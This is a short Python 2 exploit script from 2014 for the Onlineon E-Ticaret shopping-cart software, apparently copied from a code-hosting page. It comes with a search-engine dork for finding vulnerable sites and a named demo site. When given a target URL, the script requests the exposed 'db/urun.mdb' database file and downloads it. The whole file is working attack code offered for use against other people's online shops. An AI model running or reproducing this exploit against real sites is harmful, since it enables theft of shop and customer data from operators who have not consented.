80 lines
No EOL
2.1 KiB
Python
Executable file
80 lines
No EOL
2.1 KiB
Python
Executable file
#!/usr/bin/env python
|
|
#-*- coding:cp1254 -*-
|
|
|
|
# Title : Onlineon E-Ticaret Database Disclosure Exploit (.py)
|
|
# dork : inurl:"default.asp?git=sepet"
|
|
# Author : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
|
|
# Home : http://milw00rm.com / its online
|
|
# Download : http://www.onlineonweb.com/eticaret.html
|
|
# Demo : http://ayvalikkokluzeytincilik.com
|
|
# date : 06/09/2014
|
|
# Python : V 2.7
|
|
# Thks : exploit-db.com and others
|
|
|
|
|
|
import sys, urllib2, re, os, time
|
|
|
|
def indiriyoruz(url):
|
|
|
|
import urllib
|
|
aldosyayi = urllib.urlopen(url)
|
|
indiraq = open(url.split('/')[-1], 'wb')
|
|
indiraq.write(aldosyayi.read())
|
|
aldosyayi.close()
|
|
indiraq.close()
|
|
|
|
if len(sys.argv) < 2:
|
|
os.system(['clear','cls'][1])
|
|
print " ____________________________________________________________________"
|
|
print "| |"
|
|
print "| Onlineon E-Ticaret Database Disclosure Exploit (.py) |"
|
|
print "| ZoRLu / milw00rm.com |"
|
|
print "| exploit.py http://site.com/path/ |"
|
|
print "|____________________________________________________________________|"
|
|
sys.exit(1)
|
|
|
|
''' link kontrol 1 '''
|
|
|
|
koybasina = "http://"
|
|
koykicina = "/"
|
|
sitemiz = sys.argv[1]
|
|
|
|
if sitemiz[-1:] != koykicina:
|
|
sitemiz += koykicina
|
|
|
|
if sitemiz[:7] != koybasina:
|
|
sitemiz = koybasina + sitemiz
|
|
|
|
|
|
database = "db/urun.mdb"
|
|
url2 = sitemiz + database
|
|
print "\n" + url2
|
|
print "\nlink check"
|
|
time.sleep(1)
|
|
|
|
''' link kontrol 2 '''
|
|
|
|
try:
|
|
adreskontrol = urllib2.urlopen(url2).read()
|
|
|
|
if len(adreskontrol) > 0:
|
|
|
|
print "\nGood Job Bro!"
|
|
|
|
except urllib2.HTTPError:
|
|
import os
|
|
import sys
|
|
print "\nForbidden Err0r, Security!"
|
|
sys.exit(1)
|
|
|
|
|
|
''' dosya indiriliyor '''
|
|
|
|
if __name__ == '__main__':
|
|
import sys
|
|
if len(sys.argv) == 2:
|
|
print "\nFile is Downloading\n"
|
|
try:
|
|
indiriyoruz(url2)
|
|
except IOError:
|
|
print '\nFilename not found.' |